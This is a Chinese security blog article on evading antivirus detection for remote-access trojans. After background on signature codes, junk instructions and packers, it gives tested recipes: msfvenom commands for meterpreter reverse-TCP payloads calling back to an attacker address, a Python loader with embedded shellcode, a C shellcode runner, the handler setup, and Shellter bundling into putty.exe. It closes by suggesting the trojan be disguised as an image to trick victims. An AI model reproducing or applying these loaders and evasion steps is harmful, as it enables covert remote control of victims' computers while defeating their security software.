声 明
https://zhuanlan.freebuf.com/column/index/?name=TideSec
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
1免杀相关定义
1.1木马
1.2免杀
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
1.3特征码
特征码主要用来判断某段数据属于哪个计算机字段。病毒特征码,它主要由反病毒公司制作,一般都是被反病毒软件公司确定为只有该病毒才可能会有的一串二进制字符串,而这字符串通常是文件里对 应程式码或汇编指令的地址。杀毒软件会将这一串二进制字符串用某种方法与目标文件或处理程序作对比,从而判定该文件或进程是否感染病毒。
1.4Ring0
计算机中有一个用于控制CPU完成各项功能的命令系统,它叫做“指令系统”,指令系统将指令分为特权指令与普通指令。对于一些危险的指令(即绝大部分特权指令),只允许操作系统及其相关模块使用,而普通的应用程序只能使用那些不会造成灾难的指令(即普通指令)。
Intel的CPU将特权级别分为4层,它们分别是Ring0,Ring1,Ring2与Ring3。Ring0为底层,也就是所谓的“内核层”,它也是操作系统的底层;Ring3为最高层,也就是用户层。
1.5PE文件
在windows系统中,凡是可以直接以二进制形式被系统加载执行的文件都是PE文件,例如.exe/.dll/.sys/.ocx等都遵循PE文件结构的约定,属于可执行文件。PE文件由DOS文件头、DOS加载模块、PE文件头、区段表与区段5部分构成
2 免杀分类
2.1分类一
无源码免杀(二进制免杀),只能通过通过修改asm代码(字节框架代码)/二进制数据(二进制class文件)/其他数据来完成免杀。
有源码免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
2.2分类二
静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。免杀方式可能是上面的两种方式,看情况。
动态行为免杀,运行中执行的某些行为被杀毒软件拦截 读。行为免杀如果没有源码就不是很好搞了。
2.3分类三
文件免杀,基于文件的免杀基本上就是破坏原有程序的特征。无论是修改特征码还是加上一段花指令还是加壳,目的就是为了打乱或加密可执行文件内部的数据。
内存免杀,数据进入CPU之前会在内存中处理成可以直接被CPU执行的形式。通过选择扫描内存的形式去查杀木马。将要被执行的程序肯定比未执行程序的威胁更大。再厉害的木马只要能保证它不被执行,它在用户的计算机中最多也就是算是一个垃圾文件,就不会对用户及 络构成任何威胁。
行为免杀,从最早的“文件防火墙”发展到后来的“主动防御”,再到现在的部分“云查杀”,其实都应用了行为查杀技术。常见行为添加服务、创建驱动、释放资源、添加注册表、增加自启动、创建互斥体、遍历全硬盘的文件、远程线程注入、HOOK
3 如何免杀
3.1修改特征码
3.1.1定位特征码
常用的定位木马病毒特征码的工具有三款,一款是CCL,一款是MultiCCL,另一款就是MYCCL。CCL程序出现后,使得特征码修改已经成为了对付杀毒软件的常用手法,但是杀毒软件开始使用多重复合特征码来对付特征码修改就是说只有你同时改掉程序所有的守护特征码此程序才不被杀。CCL这样的定位工具无法直接定位出特征码,要定位复合特征码必须手工划分,而MYCCL是CCL的改进版,可以进行多重特征码的定位,针对360等杀软的反向定位等功能,并实现自动化代码定位和显示。
一款新的特征码定位软件VirTest,采用2分排除法,测试标志C所在文件中的位置,由于被杀的文件可能存在多个类似于ABC这样的连锁条件,所以我们必须要通过一种排除机制,先要找最靠近文件前部的连锁条件,排除掉文件尾部数据,当找到第一个连锁条件后,抹掉引标志C,再恢复尾部数据,然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件免杀了,则说明特征代码被定为完毕了,所以VIRTEST绝对可以精确的定位出所有的复合特征。这比文件分块定位法先进得多,更为科学。
MYCCL定位特征码原理:
假设一段木马程序代码是这样(0代表NULL,X代表程序代码,a、b、c等代表特征码):
001h:XXXXXaXXXbXXXXXXXXXX
002h:XXXXXXXXcXXXXXxXXXXX
003h:XXXXXXXXXaXXXXXXXXXX
004h:XXXXXXXXXbXXXXXXXXXX
005h:XXXXXXXXXXXXcXXXXXXX
当文件同时包含a.b.c三种特征码的时候,杀软就 毒啦。这就是所谓的复合特征码。当然杀软在定义复合特征码的时候可能有好几种组合,好几套特征码。当是复合特征码的时候,在用CCL来定位结果是很困难的。而MyCCL在CCL的基础上又进步了。这里我们手动用MyCCL来生成5个文件。
File1=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:00000000000000000000
004h:00000000000000000000
005h:00000000000000000000
File2=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:XXXXXXXXcXXXXXxXXXXX
003h:00000000000000000000
004h:00000000000000000000
005h:00000000000000000000
File3=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:XXXXXXXXcXXXXXxXXXXX
003h:XXXXXXXXXaXXXXXXXXXX
004h:00000000000000000000
005h:00000000000000000000
File4=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:XXXXXXXXcXXXXXxXXXXX
003h:XXXXXXXXXaXXXXXXXXXX
004h:XXXXXXXXXbXXXXXXXXXX
005h:00000000000000000000
File5=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:XXXXXXXXcXXXXXxXXXXX
003h:XXXXXXXXXaXXXXXXXXXX
004h:XXXXXXXXXbXXXXXXXXXX
005h:XXXXXXXXXXXXcXXXXXXX
=========================
从File2开始就有了abc特征码的组合,File2到File5就被杀了。被杀以后再用MyCCL,进行二次定位,这样我们就知道了特征码c的位置了。然后再把002h那行置0,再生成一次。
第二次生成5个文件:
File1=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:00000000000000000000
004h:00000000000000000000
005h:00000000000000000000
File2=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:00000000000000000000
004h:00000000000000000000
005h:00000000000000000000
File3=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:XXXXXXXXXaXXXXXXXXXX
004h:00000000000000000000
005h:00000000000000000000
File4=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:XXXXXXXXXaXXXXXXXXXX
004h:XXXXXXXXXbXXXXXXXXXX
005h:00000000000000000000
File5=====
001h:XXXXXaXXXbXXXXXXXXXX
002h:00000000000000000000
003h:XXXXXXXXXaXXXXXXXXXX
004h:XXXXXXXXXbXXXXXXXXXX
005h:XXXXXXXXXXXXcXXXXXXX
=========================
因为002h被我们置0了,这里只有File5有abc特征码了,所以File5被杀,这时另一处c也暴露出来了,这样我们就把所有c特征码都定位出来了。MYCCL解决了CCL定位复合特征码的困难。
MYCCL具体操作:
定位特征码前我们要首先关闭杀毒软件的实时防护以及自动上传功能,然后把远程程序生成的木马放在其他的盘符不要放在C盘。定位工具也是一样不要放在C盘。不然杀毒软件会检测到然后会进行一系列的干扰。那我们就定位不到真正的特征码了。
首先点击生成,他会提示你对OUTPUT杀毒,然后点击二次处理。我们生成后用管家进行杀毒,对OUTPUT文件夹扫描后进行立即处理。
然后我们在用MYCC进行二次处理。
一直重复这个动作直到没有病毒为止生成—–查杀—–二次处理—–查杀—–二次处理——》确定特征码。
3.1.2 修改特征码
确定特征码之后便是修改特征码。两个要点,一是免杀,二是正常运行。
常用的修改工具有,OD,C32ASM,UE,010Editor等等。
常见修改特征码方法如下:
(1)载入c32或者winhex
方法一:修改特征码的十六进制
修改方法:把特征码所对应的十六进制改成数字+1或者减1
举例:载入c32或者winhex 输入跳转OFFSET地址 定位到的特征码在80的0闪烁 可以把0改成1 即81
方法二:大小写
修改方法:特征码所对应的内容是字符串的,大小字互换.
举例:大小写间差20
(2)下面是OD载入的分析
方法三:替换法
修改方法:特征码所对应的汇编指令替换成相同或相似的.
举例:jnz换成JMP.
方法四:顺序调换法
修改方法:特征码对应的指令顺序互换一下.
举例:00851A97 MOV ESI,ECX
00851A98 MOV EDI,0
可以换位00851A97 MOV EDI,0
00851A98 MOV ESI,ECX
方法五:JMP法
修改方法:把特征码移到零区域,然后一个JMP又跳回来执行.
方法六:移位法
修改方法:把定位到函数的特征码复制 然后NOP 找到0区域写入刚NOP代码 然后JMP回到原来NOP的下面一个地址,然后lordpe修改相应函数的地址。
采用较为简单的C32ASM为例,将测试木马文件拖入CS32ASM,选择16进制,然后右键点击跳到,输入确定的特征码。
可以在光标定位的位置直接修改,也可以在右边修改内容。
3.2 修改花指令
花指令的修改需要用的汇编知识,现在总结基本汇编知识如下:
cmp a,b 比较a和b大小意思(cmp是英文compare 比较的意思)
mov a,b 把b的值传送给a (mov是英文move 移动的意思)
nop (no operation)意思是什么事都没做(do nothing)常用的修改指令
call 调用子程序
pop 出栈
push 压栈
ADD 加法.
ADC 带进位加法.
INC 加 1
SUB 减法.
SBB 带借位减法.
DEC 减 1
AND 与运算.
OR 或运算.
XOR 异或运算.
NOT 取反.
TEST 测试.
跳的分几种:
je 或jz 若相等则跳
jne或jnz 若不相等则跳
jmp 无条件跳转
jb 若小于则跳
ja 若大于则跳
jg 若大于则跳
jge 若大于等于则跳
jl 若小于则跳
jle 若小于等于则跳
3.3 加壳
很多木马都是加过壳的,而且这些加壳后的木马已经被反病毒公司提取了特征,所以如果黑客们不能将其脱壳,也就无法进行有效的免杀。
壳分类:
?压缩壳
压缩壳的主要目的是压缩应用程序的体积,例如UPX可以将一般的应用程序压缩到原体积的30%左右。
压缩壳并不会对被加壳程序本身做任何修改,而是直至将其换成一种更加节省空间的存储方式。经过压缩壳处理过的程序在真正被CPU执行前是会自动解压缩(解密)的。
?加密壳
加密壳的主要目的是保护原程序不被破解,一般情况下,加密壳会对源程序进行一定的修改,例如代码乱序、代码混淆等。因此经过加密壳处理的程序即便是提交给CPU去执行,源程序的代码也还是发生了改变。
?代码乱序
将本来线性执行的代码分成若干份后颠倒存储位置,再通过跳转指令将其按照正确的顺序连接起来。
这样对于CPU来说其执行的程序逻辑没变,只是多了几条跳转指令。但是这段代码在硬盘上或内存中的组织排列方式却发生了很大的变化。
?代码混淆
代码混淆的本质就是一条指令扩展为若干条指令,例如原本是一个计算“1+1”的代码,但是混淆后就变成了“1+10-9+0-0+1-1”,虽然结果一样,但是代码本身的代码甚至部分逻辑都发生了变化。
?虚拟机保护壳
4 免杀实战(目前亲测有效)
4.1 远控木马py免杀(文件免杀)
目前仅测试成功针对Windows32位操作系统。
1.在kali下生成一个反弹的msf的python脚本,命令如下:
msfvenom-p windows/meterpreter/reverse_tcp LPORT=443LHOST=192.168.133.130-e x86/shikata_ga_nai-i11-f py-o bk2.py
2.拷贝出bk2.py到window32系统进行修改,修改如下(buf部分为bk2.py的原有代码,其余是修改增加的代码)
fromctypesimport*
importctypes
buf=””
buf+=”xdaxc4xd9x74x24xf4x5exbdxf8xd6xd4x3cx33″
buf+=”xc9xb1x99x83xeexfcx31x6ex16x03x6ex16xe2″
buf+=”x0dx6ex2dxcbx62xe8x17xdfxa5x83x83xd4x08″
buf+=”x5fx05xa5x21x1cx78x3ax74x66x8dxc0xcax91″
buf+=”xfcx54xb4x92xfexa5x05x75x2ax72x40x86x6c”
buf+=”xf7x36x43x74xb9xa9x2bxcfxf9xf8x38xbdx01″
buf+=”x2axdcx19x10x20xcfx45x03x80x55x10xe5x83″
buf+=”x59xe6x31x2ax1axfcxbfxffxfaxfbxb6xafx7e”
buf+=”x24xaex5fx31x1cxc9x2ax7ex4ax1dx25x26xee”
buf+=”xedxf3xf2x14xf4xfcx01xe0x45x2dx65x37x9d”
buf+=”x4cx8fxcfx3cxa1x1dxacx3exa0xdcxefx73x00″
buf+=”x09x9cx22xeaxd1xbcxbdxd3x59x16x12xdbx1d”
buf+=”x01x97x78x8cx26x67x88x10x4fxa5x9ex4exf9″
buf+=”x5dx4bx16x46x92x12xe2x99x91x4fxe0x36xf7″
buf+=”xb2xb4x52xcdx55xbcxeexe7x8fxccxc9xf3xe1″
buf+=”x18x26xf3x9fx6dx89xc0x10x75x04x10x22x6a”
buf+=”x5dx02x62xccxf7xabx8cx50xd6xd2xd0xfdx44″
buf+=”x03x8cxd4x0bx9fx2dx50x08x2ax80x82xd7xaa”
buf+=”x70x11xa7xcbxa1x82x3bx82x4cx18x68x63x51″
buf+=”x76x06x22x92xfbxa6x53x22x47xd1xe4x60xa4″
buf+=”x08xacxf0x7ax01x3ax73x16x6bx2dx74x94x00″
buf+=”x05xc7x2cx04x5dx74x92xb9x2ex78x1bx1bxe9″
buf+=”xd6x66x5dx20x4cx21x1bx83xf7xa7x87x2fxf0″
buf+=”x44x21x6cx94x21x21x5bxe8x88x94x06xfax14″
buf+=”x30x12xf3x18x57x58xe9x0bx67x70xffx6dx01″
buf+=”x1dxd5x33x24x8cxcax05xcfx71x08x75xc9x65″
buf+=”x27x8exc4x39xc8x39x64x38xf9x67x85x21xe8″
buf+=”x68xb1xbex40x5cx77x95x2ax5fx38xabx34x76″
buf+=”x0dx83xe3x32xdfxc0xe3x3fx9exd1xa4x7bxfd”
buf+=”xcbxa3xc3x82xcdx24x36xb0x4cx67x7cx6cxb4″
buf+=”x74x93x46x57x77x9ex87x00x66xadxfex6bx1b”
buf+=”x8fx54x9dx0cxcdxd2x63x72x2axf3xaax56x86″
buf+=”x90xa0x0dx6cxc6x31x0bxa4x11xfdx2dxbax42″
buf+=”xb8x95xbcx49xf1x73x99x4bx4bxa3x60x9bx70″
buf+=”x30x45xa5x68xa7x4dx28x0ax52x7cxefx49x53″
buf+=”x87x07x34x01x44x57x82x9ex3dx0dxd9xf5x45″
buf+=”x16xd7x02xfbxb0xe0x04xdex51xfaxeex64x7f”
buf+=”xdexa9x07xadx47xbfxecxe8x06xf9xeax7dx57″
buf+=”x86x06xdbx92xe4x41xbaxefxabx84x35xacx05″
buf+=”x5dxf0x0axbcxa8x41xdfx65x8fx78xa1x75xff”
buf+=”xfaxdfx5bx85x19xadx28x4ax29x57x33x54xed”
buf+=”xb1xf6xe9x10xeex98x3axf2x2dx23x93x63xc0″
buf+=”x3cx99x20x19x98x9ax90x54x60x5ex42x9bxea”
buf+=”x3dxe2xc9x3ax17xe9x44x68x2fx7exe2x2dxcf”
buf+=”x23x7axf0xe8x18x4bxb0x5bxd3x76x06x4ex39″
buf+=”x91x8bx77xeex4exc9xffxddx46xacx0fx7fx56″
buf+=”xc0x3ax88x04x6dxd7x72x41xd2x20xbex53x8f”
buf+=”x16x05x58xdax2cx60x11x27x76x04x72xb5x66″
buf+=”x09xbcxf5x99xccxddxc8xf9xe9xe0x34x8ex0c”
buf+=”x78″
#libc=CDLL(‘libc.so.6’)
PROT_READ=1
PROT_WRITE=2
PROT_EXEC=4
defexecutable_code(buffer):
buf=c_char_p(buffer)
size=len(buffer)
addr=libc.valloc(size)
addr=c_void_p(addr)
if==addr:
raiseException(“Failed to allocate memory”)
memmove(addr,buf,size)
if!=libc.mprotect(addr,len(buffer),PROT_READ|PROT_WRITE|PROT_EXEC):
raiseException(“Failed to set protection on buffer”)
returnaddr
VirtualAlloc=ctypes.windll.kernel32.VirtualAlloc
VirtualProtect=ctypes.windll.kernel32.VirtualProtect
shellcode=bytearray(buf)
whnd=ctypes.windll.kernel32.GetConsoleWindow()
ifwhnd!=:
if666==666:
ctypes.windll.user32.ShowWindow(whnd,)
ctypes.windll.kernel32.CloseHandle(whnd)
print”…………………………….”*666
memorywithshell=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)
old=ctypes.c_long(1)
VirtualProtect(memorywithshell,ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell=cast(memorywithshell,CFUNCTYPE(c_void_p))
print”Code By Luan”
shell()
3.在windowsx86上安装支持python的环境,下载pywin32 解压运行,一直点下一步就可以了
4.然后下载支持将python生成exe的软件pyinstall ,解压然后执行以下命令:
D:mianshapyinstaller-2.0>python PyInstaller.py–console–onefile bk2.py
注意这里不要有中文路径,否则会出错
5.执行命令后会在d:pyinstaller-2.0bkdist目录生成bk.exe
6.这里我将在windowsx86上安装最新的360杀毒软件,进行查杀测试
7.然后在kali下启动msf,然后执行以下命令:
use exploit/multi/handler
set lhost192.168.133.130
set lport443
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
8.然后在windowsx86系统上执行bk.exe,最终在msf反弹出meterprer 出来:
4.2远控木马C免杀(文件免杀)
同样运用命令生成c文件:
msfvenom-p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai-i5-b ‘x00’ lhost=192.168.133.130lport=4444-f c
上述命令生成在之前的基础上生成基于c语言格式的shellcode,通过e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码,-f指定生成格式。
将以上生成的shellcode使用vc++6.0编译。模式如下
unsigned char buf[]=
“免杀C程序”;
main()
{
((void(*)(void))&buf)();
}
然后运行VC6.0编译成免杀.cpp之后,在执行免杀.exe,在免杀工程文件夹的Debug文件夹发现 免杀.exe.
我们的攻击msf设置如下,当攻击者出发免杀.exe时,即可反弹meterpreter。
免杀效果如下:
4.3远控木马捆绑免杀(文件免杀、加壳免杀)
我们使用kali下shellter工具,可以对工具进行捆绑。
首先我们在root下拷贝Windows工具putty.exe,然后运行shellter。
界面 A 代表自动 M 是高级的用法,也应该是用M来做到免杀吧,自己还没有试。 H 也就是帮助了,PE这个就是你要捆绑的文件目录。
Y启动藏匿模式。部分payload解释如下:
Meterpreter_Reverse_TCP 这种是基于TCP的反向链接,换句话说,谁出发了这个模块,她会吧这个触发者的shell发送给指定的人
Meterpreter_Reverse_HTTP 这个是基于 http 页传输的反向链接 和上面大同小异,只不过 上面的基于TCP链接,这个是用GET 或者 POST进行发送接收
Meterpreter_Reverse_HTTPS 这个 和上面的也差不多,只不过这个的数据被加密,也是基于http的传输方式
Meterpreter_Bind_TCP 这个就不同了,这个是正向的链接,需要攻击者知道,是谁出发的这个模块,比较类似后门程序,
Shell_Reverse_TCP 和上面相同,也是反向链接,只不过可以用shell直接接收会话。
最终成功捆绑,在root文件下覆盖原文件生成木马文件,原文件备份与shellter-backups。
然后拷贝到Windows操作系统,进行杀毒测试,发现仅能躲过QQ安全挂架的查杀,并不能免杀360杀毒和360安全卫士,采用kali下的upx进行压缩加壳测试也失败,测试双重捆绑同样未免杀,很遗憾。QQ管家免杀反弹shell如下图。
5免杀变形
既然已经制作免杀exe远控木马,但是现在广大人民群众 络安全防范意识增强,一般不会点开来历不明的exe文件,那我们就略施小计给我们免杀木马穿件花衣裳吧,主要工具Resource_Hacker 和Unitrix (病毒)把exe文件编程jpg样子,具体操作Tide专栏的文章已作出详细操作链接如下:后门木马变形计
本篇后渗透之免杀到此结束,之后会陆续介绍黑客getshell之后如何进行权限维持,如何进行内 渗透,然后总结划重点,从应急的角度分析黑客的入侵行为。
文章参考链接,感谢各位大佬的倾情奉献:
https://www.freebuf.com/column/200685.html
https://www.freebuf.com/column/200829.html
https://www.freebuf.com/column/200829.html
E
N
D
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!